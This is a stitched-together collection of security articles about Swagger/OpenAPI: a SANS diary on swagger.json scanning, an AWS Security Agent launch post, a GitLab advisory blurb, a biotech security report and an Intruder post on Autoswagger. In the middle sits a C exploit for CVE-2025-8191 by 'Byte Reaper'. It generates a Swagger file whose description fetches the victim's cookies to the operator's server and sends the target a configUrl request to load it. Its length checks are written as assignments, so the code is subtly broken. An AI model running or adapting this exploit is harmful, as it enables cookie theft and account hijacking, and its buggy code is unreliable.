swagger

Enterprise applications often still use complex standards like SOAP for web services. The big advantage of SOAP is its tight and extensive standards, which enable interoperability across an enterprise governed by web services. The disadvantage of SOAP: First, while it is de facto usually used over HTTP, it does not leverage HTTP, leading to unnecessary complexity. Secondly, kids don't RTFM, and developers these days tend not to appreciate the art of careful system design; they rather throw code at an IDE to see what sticks, if they don't vibe code it anyway. So the answer to all of the calls for a simpler standard is the non-standard REST. REST is more a "living standard" defined by commonly used libraries that happen to be popular right now. One of these standards is Swagger, or OpenAPI [1]. A very popular part of Swagger is "swagger.json", a file that defines how to use an API. Some people here may remember "WSDL"s, or good old ".h" files in C/C++. Same idea, but now with more JSON. From a web application security perspective, swagger.json is like a directory listing for an API. It is not that they are inherently evil or insecure. They are often necessary to allow developers to connect to an API efficiently. But on the other hand, they are also a great roadmap for attackers. So it's no surprise that attackers are looking for them. Not only do they provide a list of API features, but metadata in the description will usually identify the underlying application. It is a great way to find vulnerable applications. Here are some of the top URLs attackers are scanning recently: And some that started showing up more recently: The number of requests is continuously high, but there are spikes and slow times: But the continuing interest shows that attackers see value here. What's the lesson? Should you stop using swagger.json? Probably not. Your developers need it. On the other hand, you should be scanning for swagger.json files preemptively in your environment to identify inappropriately published swagger.json files. My intro remarks about REST, while obviously an attempt to finally get someone to read these posts, also point out that with REST, some important design decisions are left up to you, and with lots of freedom comes lots of possibilities to mess things up. Any comments on good tools to do so? (yes, more engagement farming. But maybe it will cause me to fix the comment system for this site. [1] https://swagger.io/specification/ -- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter|

AWS Security Agent on-demand penetration testing now generally available AWS Security Agent on-demand penetration testing is now generally available, enabling you to run comprehensive security tests across all your applications, not only your most critical ones. This milestone transforms penetration testing from a periodic bottleneck into an on-demand capability that scales with your development velocity across AWS, Azure, GCP, other cloud-providers, and on-premises. With multicloud support, AWS Security Agent allows you to consolidate penetration testing across your entire infrastructure. AWS Security Agent delivers autonomous penetration testing that operates 24/7 at a fraction of the cost than manual penetration tests. Most organizations limit manual penetration testing to their most critical applications and conduct these tests periodically due to time and cost limitations. This approach can leave the majority of their application portfolio exposed to vulnerabilities in the periods between tests. Security Agent allows you to increase the penetration testing speed, frequency, and coverage across all applications, not just your top critical applications. The Security Agent approach compresses the penetration testing timeline from weeks to days, dramatically reducing your exposure window while maintaining development velocity. In preview, HENNGE K.K. shared, “AWS Security Agent delivered valuable insights that enhance the robustness of HENNGE’s products and services—insights we hadn’t discovered through manual testing. The contextually aware agentic AI approach provides different insights than traditional methods, while surfacing valuable application improvements beyond pure security findings. This allows us to rapidly accelerate our security lifecycle, reducing the typical testing duration by more than 90%.” How on-demand penetration testing works AWS Security Agent represents a new class of frontier agents – autonomous systems that work independently to achieve goals, scale massively to tackle concurrent tasks, and run persistently without constant human oversight. It deploys specialized AI agents to help discover, validate, and report security vulnerabilities through sophisticated multi-step attack scenarios. Unlike traditional scanners that generate findings without validation, AWS Security Agent operates penetration tester, helping to identify potential vulnerabilities, then attempting to exploit them with targeted payloads and attack chains to confirm they are legitimate security risks. Consider the example of deploying a new payment processing feature. With traditional penetration testing, you would either delay the release until the next scheduled assessment, which could be weeks or months away, or you would deploy with uncertainty. With AWS Security Agent, you initiate a penetration test in minutes and receive validated findings within hours, as shown in the following figure, which you can use to help identify and remediate critical vulnerabilities before they reach production and deploy more confidently. This validation approach helps minimize false positives and provides visibility into the agent’s reasoning. The agent shows how it plans attacks, what payloads it uses, the tools it builds to execute exploits, and how it verifies successful exploitation, providing transparency. Each finding includes Common Vulnerability Scoring System (CVSS) risk scores, application-specific severity ratings, and detailed reproduction steps, as shown in the following figure, so your team can focus on confirmed vulnerabilities rather than investigating scanner noise. How AWS Security Agent delivers proactive, context-aware application security AWS Security Agent combines static application security testing (SAST), dynamic application security testing (DAST), and penetration testing into a single context-aware agent. The agent ingests design documents, architecture diagrams, infrastructure-as-code, source code, user stories, and threat models to understand how you designed, built, and deployed your application. It then identifies how individual vulnerabilities connect into higher-severity attack chains. Richer context produces higher-quality findings and more actionable remediation recommendations. Consider three findings detected by AWS Security Agent These might have been discovered by other tools, but if they were detected, they might not have been properly prioritized in isolation because those tools lack contextual awareness of how the application was designed, built, and used, and how each finding is being used as part of an attack chain. These findings exist in custom code written by the customer, so there might not be a Common Vulnerabilities and Exposures (CVE) vulnerability to detect in all cases, making these zero-day vulnerability discoveries. Finding1 – Stored cross-site scripting (XSS) (CVSS 6.1, Medium): A threat actor could inject a script into a comment field that captures an admin’s session cookie inside standard HTTPS traffic. SAST and DAST might flag this as an isolated, medium-severity input validation issue competing with hundreds of other findings in a backlog. Without application context, these tools struggle to recognize it as the entry point to a critical chain. Finding 2 – Session hijack through admin access (unscored): A threat actor could use a hijacked admin session to reach restricted endpoints. This step goes undetected by every tool category, SAST analyzes code not runtime sessions, DAST crawls as a standard user, Endpoint Detection and Response (EDR) and Extended Detection and Response (XDR) see a valid HTTPS session hidden among other valid traffic. No finding is generated and no alerts are fired. Finding 3 – Database credential exfiltration through admin config endpoint (CVSS 9.8, Critical — never discovered):The admin panel exposes an /admin/config endpoint returning environment variables, including the production database connection string with credentials in plaintext. A threat actor could use a hijacked admin session to call this endpoint, extract credentials, connect directly to the production database containing customer personally identifiable information (PII), and exfiltrate the full customer dataset. SAST doesn’t flag this because the code functions as designed. DAST never reaches the admin panel. EDR and XDR see a legitimate authenticated API call. AWS Security Agent connects the dots By ingesting the source code and documentation, AWS Security Agent identifies that the /admin/config endpoint exposes database credentials, something SAST, DAST, or a Software Composition Analysis (SCA) scanner would struggle to identify. SAST and DAST might flag Finding 1 as isolated and medium severity without recognizing it as the entry point to a critical chain. Finding 2 goes undetected, because SAST analyzes code not sessions, DAST crawls as a standard user, EDR and XDR see valid HTTPS traffic hidden among other valid traffic. Finding 3 goes unflagged because SAST doesn’t flag endpoints functioning as designed, DAST never reaches the admin panel, and EDR and XDR see legitimate API calls. The program requirements document (PRD) provided the key context that the endpoint was designed for legitimate troubleshooting but assumed the authentication gateway would prevent unauthorized access. AWS Security Agent chains all three findings, tests each step, and proves the full attack works. The chain is the vulnerability A deprioritized CVSS 6.1 XSS unlocks a critical CVSS 9.8 database credential exfiltration through steps that are beyond the capabilities of most automated SAST or DAST tools. Finding 1 sits in a backlog for weeks, contributing to alert fatigue for developers and security teams. Finding 2 generates no finding. Finding3 functions as designed. Developers fix critical and high findings first, but a CVSS 6.1 among hundreds of others waits, leaving customers exposed. AWS Security Agent, informed with application context, elevates the entire sequence from three isolated findings to a critical, validated vulnerability. This means deeper insights and recommended remediations, fewer false positives, and more cost-effective penetration testing. Security teams can now confidently scale continuous penetration testing across a wider application portfolio than is being tested today, or isn’t being tested as frequently while it’s being developed. AWS Security Agent delivers these insights and recommended remediations within hours instead of weeks, helping customers ship more secured applications faster. Scout24 confirmed the value of these capabilities directly: “AWS Security Agent outperformed traditional DAST by combining agentic testing with source-code context to deliver code-aware application security testing. It identified a critical publicly exploitable issue that other approaches had not surfaced. Its transparent reasoning gave us confidence in the attack paths explored and the coverage achieved.” – Abdul Al-Kibbe, Tech Lead, Security, Scout24 SE Bamboo Health validated the depth of context-aware discovery in their own usage: “AWS Security Agent surfaced findings that no other tool has uncovered by truly understanding the application, its code, and connecting that context to what it discovered during testing. Legacy scanners simply could not match what Security Agent revealed. It gave us visibility into issues we typically would not see, even from human pentesting teams. For the first time, it felt like I had an AI tool on my side as a defender.” – Travis Allen, Manager of Security Operations at Bamboo Health Set up your first penetration test Setting up a penetration test is straightforward and includes the following steps. Create agent spaces as logical boundaries Start by creating an agent space for each application or project. An agent space serves as a logical boundary where you can connect documents and code repositories for your application. The agent uses this application context from your documentation and code to create targeted test cases specific to your implementation. For example, create an Ecommerce Platform agent space and connect your GitHub repository, API specifications, and architecture documentation. By analyzing these materials to understand how your application handles payment processing, sessions, and user stories, the agent creates targeted test cases for payment manipulation vulnerabilities and session hijacking risks specific to your implementation. Complete domain ownership validation Before testing begins, complete domain ownership validation by adding a DNS TXT record or uploading a verification file to your domain. This required step helps ensure you have authorization to test the target application, protecting both you and AWS. Complete this one-time setup for all domains during initial configuration to prevent delays when running penetration tests. Add application context for improved accuracy and deeper findings While optional, providing source code and documentation considerably improves testing accuracy. Include the following: Source code: Enables white-box testing to identify implementation-specific vulnerabilities. You can directly connect your source code repositories with GitHub integration API specifications (OpenAPI or Swagger): Documents all endpoints, parameters, and authentication requirements so the agent tests comprehensively rather than discovering endpoints through trial and error Architecture documentation: Helps the agent understand service interactions and potential attack chains Product requirements documents: Helps the agent understand purpose, features, functionality, and user stories when using the application Existing threat models: Guides the agent to focus on your highest-risk areas and known concerns Test across any environment AWS Security Agent operates across AWS, Azure, GCP, other cloud-providers, and on-premises. Configure public endpoints directly by providing the URL, or connect private endpoints through a VPC for secure testing of internal applications without internet exposure. By using this multicloud support, you can consolidate security testing across your entire infrastructure using AWS Security Agent. Testing authenticated applications Most vulnerabilities exist in authenticated areas of applications, and you can’t find them without signing in. Configure multiple credentials for different user roles to enable comprehensive testing: Standard user credentials for customer-facing functionality Privileged user credentials for administrative functions Service account credentials for API-to-API authentication Multi-factor authentication (MFA), including MFA and two-factor authentication (2FA) and By testing with multiple credential sets, AWS Security Agent identifies privilege escalation vulnerabilities, for example, discovering that a standard user can access admin functions by manipulating API parameters. Provide sign-in guidance for complex authentication AWS Security Agent uses large language model (LLM)-based sign-in capabilities to navigate authentication flows including OAuth, SAML, Okta, and MFA. Providing clear sign-in guidance significantly improves success rates, for example: Navigate to app.example.com/auth/login Enter username in the Email or Username field Enter password in the Password field Choose Sign In Specific instructions, sequential steps, and success verification criteria help the agent navigate your authentication flow reliably. From findings to fixes: The complete security lifecycle Review the findings and take actions to remediate with AWS Security Agent. Validated, actionable findings AWS Security Agent validates potential vulnerabilities by attempting exploitation to confirm the security risk exists. This validation approach minimizes false positives and reduces the time your team spends manually verifying findings, so you can focus on legitimate vulnerabilities that require fixes. The agent achieved a 92.5% success rate on CVE Bench v2.0, demonstrating its capability to discover and validate real-world vulnerabilities. Each finding includes CVSS risk scores, application-specific severity ratings, detailed reproduction steps, and impact analysis that explains the business risk. In an ecommerce application, the agent might discover a price manipulation vulnerability and show that attackers can modify product prices during checkout, allowing customers to obtain items for free and directly impacting revenue. The agent also identifies how vulnerabilities chain together, showing how lower-severity findings can become gateways to critical exploits. You can export reports as PDF files for executive reporting, compliance documentation, developer handoffs, and audit trails. Remediation with code fix suggestion completes the process Traditional penetration testing ends with a report, then weeks or months pass while developers research, implement, and deploy fixes. AWS Security Agent completes the security lifecycle: Run penetration test and identify confirmed vulnerabilities Review findings and prioritize critical issues Trigger remediation to generate pull requests with code fixes Developer review and merge the ready-to-implement fixes in hours instead of days Retest to confirm vulnerabilities are resolved Deploy with confidence knowing security issues are addressed Get started with on-demand penetration testing AWS Security Agent on-demand penetration testing is now available in the following AWS Regions: US East (N. Virginia) US West (Oregon) Europe (Ireland) Europe (Frankfurt) Asia Pacific (Sydney) Asia Pacific (Tokyo) Pricing Pricing is straightforward and transparent: $50 per task-hour, metered per second. A task-hour represents the time AWS Security Agent actively works on testing your application. Based on current metrics, an average application test takes approximately 24 task-hours, resulting in a typical cost of $1,200 per comprehensive penetration test and remediation. See the AWS Security Agent pricing page for more details on pricing and free trial. Sample bill: Small web application (8 task-hours): $400 Medium ecommerce platform (24 task-hours): $1,200 Large enterprise application (48 task-hours): $2,400 Note: The preceding sample bills and estimated costs are for illustrative purposes only and are not guaranteed. Actual costs can vary based on multiple factors including application complexity, number of endpoints, authentication mechanisms, code base size, and the depth of testing required. Your actual penetration test duration and cost will depend on your specific application characteristics. By using AWS Security Agent, you can perform penetration testing more quickly, frequently, and on more of your applications at a reduced cost. For example, some customers found that AWS Security Agent provided up to 70–90% savings compared to traditional manual penetration testing approaches. Ready to transform your security testing? Create your first agent space and run your first penetration test in minutes: Visit the AWS Management Console for AWS Security Agent Create an agent space for your application Complete domain ownership validation Connect your code repository and add documentation Configure and run your first penetration test Conclusion By using on-demand penetration testing in AWS Security Agent, you can test all your applications continuously, not just your most critical ones periodically. Start with one application, experience validated findings and automatic remediation in action, then scale comprehensive security testing across your entire portfolio. Visit AWS Security Agent to begin testing today.

GitLab heeft kwetsbaarheden verholpen in GitLab CE/EE. De kwetsbaarheden omvatten verschillende problemen, waaronder de mogelijkheid voor geauthenticeerde gebruikers om kwaadaardige afbeeldingen te uploaden, ongeautoriseerde acties uit te voeren door het injecteren van kwaadaardige HTML, gevoelige informatie te verkrijgen via GraphQL-queries, en het omzeilen van WebAuthn tweefactorauthenticatie. Daarnaast kunnen ongeauthenticeerde gebruikers kwaadaardige scripts injecteren in de Swagger UI en GraphQL-querycomplexiteitslimieten misbruiken, wat kan leiden tot Denial of Service (DoS) situaties.

Biotech platforms keep missing the mark on security fundamentals A new security posture report on the biotech sector shows how quickly attackers could reach sensitive health data with only basic reconnaissance. Researchers needed less than two hours per company to uncover exposed genomic records, unprotected APIs, and misconfigured systems, according to Sekurno. Real-world timeline showing how attackers could pivot from passive reconnaissance to accessing sensitive genomic data in under 2 hours. APIs exposing sensitive data APIs were the most common weakness, accounting for 34% of identified issues. In several cases, endpoints exposed personal information, such as patient IDs, genetic reports, and partner data, without requiring authentication. Some platforms also left developer documentation, including Swagger and GraphQL introspection, publicly accessible, successfully mapping the entire API surface. These conditions allowed unauthorized requests to succeed against endpoints that appeared secure. Internal system details leaking out More than half of the companies revealed internal details through verbose error messages, exposed configuration files, or non-minified JavaScript. These disclosures included usernames, user IDs, file paths, and backend framework information. In some cases, hardcoded secrets like API keys or private tokens were visible in frontend code. Verbose errors also revealed stack traces and server internals. Together, these leaks lowered the effort required to map systems and identify exploitable weaknesses. Corporate credentials easily found Around 36% of companies had corporate credentials discoverable through public sources. Many were email-password pairs linked to company domains, with some firms having 15 or more exposed combinations. These leaks originated from prior third-party breaches and stealer logs, pointing to widespread credential reuse. Even without testing their validity, the presence of these credentials demonstrated how easily attackers could attempt credential stuffing or account takeovers. Vulnerable, outdated software A number of companies were running outdated software with known vulnerabilities. This included unpatched versions of Apache HTTP Server and PHP, affected by multiple CVEs that could enable remote code execution or information disclosure. Some platforms also used vulnerable third-party libraries. The persistence of these outdated systems often pointed to gaps in asset inventory and the absence of structured vulnerability management, leaving internet-facing services exposed to automated scanning and exploitation. Publicly accessible development environments Several companies had staging or development environments exposed to the public. These often reused production logic or credentials and lacked proper access controls. Examples included open Kubernetes dashboards, default Apache pages, and publicly accessible databases. In some cases, the only safeguards were static credentials or basic form logins. These environments served as entry points that attackers could locate and exploit, sometimes with the same level of access as production systems. The risk landscape For companies handling genomic data and health records, these gaps represent both operational and reputational risk. The report warns that violations of HIPAA or GDPR are possibilities. Breaches could also shake investor confidence in a sector where trust is foundational to the adoption of personalized medicine. The report points to the 23andMe incident as a case in which overlooked controls, such as MFA or consent defaults, amplified the impact of a breach. Although the researchers did not attempt exploitation, the timeline presented shows how an attacker could move from passive reconnaissance to accessing live DNA reports in less than two hours. “We didn’t spend more than two hours per company, and yet weidentified expose d DNA data, multiple misconfigurations, weak (or even absent) authentication, exposed client databases, and more. We find this extremely concerning, as trust is fundamental to the evolution of this industry, and our findings show that this trust can be easily undermined”, said Demyd Maiornykov, CEO, Sekurno.

/* * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-8191 * Title : Swagger UI 1.0.3 - Cross-Site Scripting (XSS) * Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server. * */ #include #include #include #include "argparse.h" #include int portSel = 0; int portServerSel = 0; int selectFile = 0; const char *targetUrl = NULL; const char *cookies = NULL; const char *server = NULL; const char *yourFile = NULL; const char *payloadFile = "xss.json"; int targetPort = 0; int yourPort = 0; int verbose = 0; int useCookies = 0; struct Mem { char *buffer; size_t len; }; void exitAssembly() { asm volatile ( "mov $231, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitAssembly(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void createFile(const char *filename, const char *server) { FILE *f = fopen(filename, "w"); if (f == NULL) { printf("\e[1;31m[-] Error Create file (xss.json)!\e[0m\n"); exitAssembly(); } char payloadBuf[2048]; int lenFile = snprintf( payloadBuf, sizeof(payloadBuf), "{\n" " \"swagger\": \"2.0\",\n" " \"info\": {\n" " \"version\": \"1.0.0\",\n" " \"title\": \"XSS Injection Demo\",\n" " \"description\": \" fetch('%s/steal?c='+encodeURIComponent(document.cookie)) \"\n" " },\n" " \"paths\": {}\n" "}", server ); if (lenFile = sizeof(payloadBuf)) { printf("\e[1;31m[-] File payload too large!\e[0m\n"); fclose(f); exitAssembly(); } fwrite(payloadBuf, 1, lenFile, f); fclose(f); printf("\e[1;34m[+] File name: %s\e[0m\n", filename); printf("\e[1;34m[+] File created successfully.\e[0m\n"); printf("\e[1;35m============================= [PAYLOAD] =============================\e[0m\n"); printf("\e[1;34m[+] Payload content :\n%s\e[0m\n", payloadBuf); printf("\e[1;35m====================================================================\e[0m\n"); } void sendRequest(const char *baseUrl, int targetPort, const char *server, const char *payloadFile) { const char *filename = "xss.json"; createFile(filename, server); CURL *curl = curl_easy_init(); CURLcode res; char full[4000]; if (curl == NULL) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); exitAssembly(); } struct Mem server_Rsponse = { NULL, 0 }; server_Rsponse.buffer = NULL ; server_Rsponse.len = 0; if (curl) { if (portSel) { int len1 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, payloadFile); if (len1 = (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len1); exitAssembly(); } } if (portServerSel) { int len2 = snprintf(full, sizeof(full), "%s/swagger-ui/index.html?configUrl=%s:%d/%s", baseUrl, server, yourPort, payloadFile); if (len2 = (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len2); exitAssembly(); } } if (selectFile) { int len3 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, yourFile); if (len3 = (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len3); exitAssembly(); } } else { int len4 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, payloadFile); if (len4 = (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len4); exitAssembly(); } } curl_easy_setopt(curl, CURLOPT_URL, full); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &server_Rsponse); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); char ref[500]; snprintf(ref , sizeof(ref), "Referer: %s", server); headers = curl_slist_append(headers, ref); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { double timeD; double downloadTime; long httpCode = 0; long size; curl_off_t content_length; curl_off_t connectTime; curl_easy_getinfo(curl, CURLINFO_APPCONNECT_TIME, &connectTime); curl_easy_getinfo(curl, CURLINFO_SIZE_DOWNLOAD_T, &content_length); curl_easy_getinfo(curl, CURLINFO_HEADER_SIZE, &size); printf("\e[1;36m[+] Time: %" CURL_FORMAT_CURL_OFF_T ".%06ld\e[0m\n", connectTime / 1000000, (long)(connectTime % 1000000)); printf("\e[1;36m[+] Size: %.0f\n", connectTime); printf("\e[1;36m[+] Header size: %ld bytes\e[0m\n", size); printf("[+] Download size: %" CURL_FORMAT_CURL_OFF_T "\n", content_length); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeD); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;34m[+] Delay Time Response : %f\e[0m\n", timeD); printf("\e[1;37m[+] Input Url : %s\e[0m\n", baseUrl); if (portSel) { printf("\e[1;33m[+] Target Port Server : %d\e[0m\n", targetPort); } if (portServerSel) { printf("\e[1;33m[+] Your Port Server : %d\e[0m\n", yourPort); } printf("\e[1;33m[+] Your Server URL : %s\e[0m\n", server); printf("\e[1;37m[+] Full Url : %s\e[0m\n", full); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode); const char *foundKey[] = { "id=", "path", "host", "alert", "error", }; printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); int numberKey = sizeof(foundKey) /sizeof(foundKey[0]); int notFound = 0; for (int k = 0; k < numberKey; k++) { if (strstr(server_Rsponse.buffer, foundKey[k]) != NULL) { printf("\e[1;34m[+] Found Word In Response : %s\n", foundKey[k]); printf("\e[1;34m[+] The server suffers from the CVE-2025-8191 vulnerability.\e[0m\n"); printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); } else { if (verbose) { printf("\e[1;31m[-] Not Found Word : %s\n",foundKey[k]); } notFound = 1; } } if (notFound) { printf("\e[1;31m[-] No suspicious words were found in the server's reply.\e[0m\n"); } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode); if (verbose) { printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); } } } else { printf("\e[1;31m[-] Error Send Request\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); printf("\e[1;31m[-] Please Check Your Connection !\e[0m\n"); exitAssembly(); } } if (server_Rsponse.buffer) { free(server_Rsponse.buffer); server_Rsponse.buffer = NULL; server_Rsponse.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf( "\e[1;31m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▗ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▌▜ ▙▌▜ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▙▌▟▖▄▌▟▖ \n" ); printf("\e[1;37m [ Byte Reaper ]\n\e[0m"); printf("\e[1;37m [ Cross-Site Scripting ]\n\e[0m"); printf("\e[1;31m---------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &targetUrl, "Target Url (Base URL)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_STRING('s', "server", &server, "Your Server URL"), OPT_STRING('f', "file", &yourFile, "Name File (Json File Payload)"), OPT_INTEGER('p', "port", &targetPort, "Target Port Server"), OPT_INTEGER('b', "portS", &yourPort, "Enter Your Port Server"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!targetUrl && !server) { printf("\e[1;31m[-] Please Enter Your Url !\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u http://URL -s http://YOUR_SEVER \e[0m\n"); printf("\e[1;31m[-] Exit Syscall\e[0m\n"); exitAssembly(); } if (cookies) { useCookies = 1; } if (verbose) { verbose = 1; } if (targetPort) { portSel = 1; } if (yourPort) { portServerSel = 1; } if (yourFile) { selectFile = 1; } sendRequest(targetUrl, targetPort, server, selectFile ? yourFile : payloadFile); return 0; }

APIs: Still Easy Targets in 2025 APIs are the backbone of modern applications - and one of the most exposed parts of an organization’s infrastructure. This makes them a prime target for attackers. One of the highest-profile examples was the Optus breach in 2022, where attackers stole millions of customer records through an unauthenticated API endpoint - costing the telecom company $140 million AUD in fallout. Worryingly, vulnerabilities like this are so easy to exploit you could teach someone with no technical background to do it in a day. And three years on, Intruder’s security team is still finding the same issues in the APIs of major organizations - including members of the S&P 500. That’s why we built Autoswagger - a free, open-source tool that scans APIs for broken authorization flaws. Read on to see how it works and some of the most surprising issues it uncovered when we put it to the test. What is Autoswagger and How Does it Work? Autoswagger scans domains to detect exposed API documentation - like OpenAPI or Swagger schemas - then parses them to generate a list of endpoints to test. It sends requests using valid parameters from the documentation and flags any endpoint that returns data without proper access control (i.e. no 401 or 403). If a response includes sensitive data - like credentials or personally identifiable information (PII) - and the endpoint isn’t properly secured, it gets flagged in the output. Autoswagger is free to download and install via GitHub. For more advanced testing, Autoswagger can be run with the --brute flag to attempt to bypass validation checks. This helps uncover flaws in endpoints that reject generic input but accept specific data formats or values. APIs are one of the easiest ways into systems - and attackers know it. Thousands of teams trust Intruder’s always-on exposure management platform to secure their apps and APIs and fix critical issues before attackers find them. Upload your API schema and get peace of mind in minutes. Start Free Trial Broken Authorization in Action: Four Real API Vulnerabilities Found by Autoswagger We put Autoswagger to the test on targets from several large Bug Bounty programs, scanning for vulnerable APIs at scale. Here are a few real-world examples to show you what broken authorization looks like in the wild. Microsoft MPN Credentials One vulnerability we found was in an endpoint simply named ‘config’, which exposed credentials and API keys for Microsoft Partner Program data stores. Among the data exposed was a valid set of credentials for a Redis database containing the PII of the partners, including the courses and certifications they had undertaken. The vulnerable endpoint was buried six layers deep (/1/dashboard/mpn/program/api/config/), making it nearly impossible to guess or discover through brute-force - it was only identified because the API’s OpenAPI schema was exposed. 60,000+ Salesforce Records Another case involved an API connected to a Salesforce instance at a large tech company. The API returned customer records - including names, contact details, and product orders - which could be extracted in bulk by incrementing the ‘ByDate’ url parameter to retrieve 1,000 records per request. SQL Access on Internal Training App We also found an internal staff training API at a well-known soda company, running in Azure Functions, that allowed unauthenticated users to run arbitrary SQL queries against the database. While the data was limited to internal training records, it included staff names and email addresses - the kind of detail an attacker could use to craft a convincing phishing campaign. Azure Functions APIs don’t normally expose documentation, but a developer had deployed an extension that did. While this may have been for another service to consume, there was no clear reason for it to be publicly accessible since the app was meant for internal use. Active Directory (AD) Enumeration (Octopus Deploy) Finally, Autoswagger discovered CVE-2025-0589, which allowed an unauthenticated attacker to enumerate Active Directory user information if AD was integrated with the Octopus Deploy server. Automated Documentation = Attack Surface Risk Automated API documentation is great for developers - but just as useful for attackers. When an API’s schema is exposed, it gives them a clear map of every endpoint to target. Without that map, most wouldn’t even bother - fuzzing endpoints blindly takes far more effort. Hiding documentation isn’t a substitute for proper API vulnerability management, but publicly exposing docs you don’t need is an unnecessary risk. Most of the vulnerabilities we found were in APIs never meant to be public - yet their documentation was exposed anyway. Take a look at your own environment: if your internal APIs are documented and exposed to the internet, they might be handing attackers everything they need. Intruder continuously scans API endpoints to detect a wide range of vulnerabilities, including exposed documentation. About the author: Daniel Andrew, Head of Security Services, Intruder Daniel Andrew heads up offensive security at Intruder, where he leads Intruder's Private Bug Bounty team. His background is as a CREST-certified penetration tester and .NET software engineer. Sponsored and written by Intruder.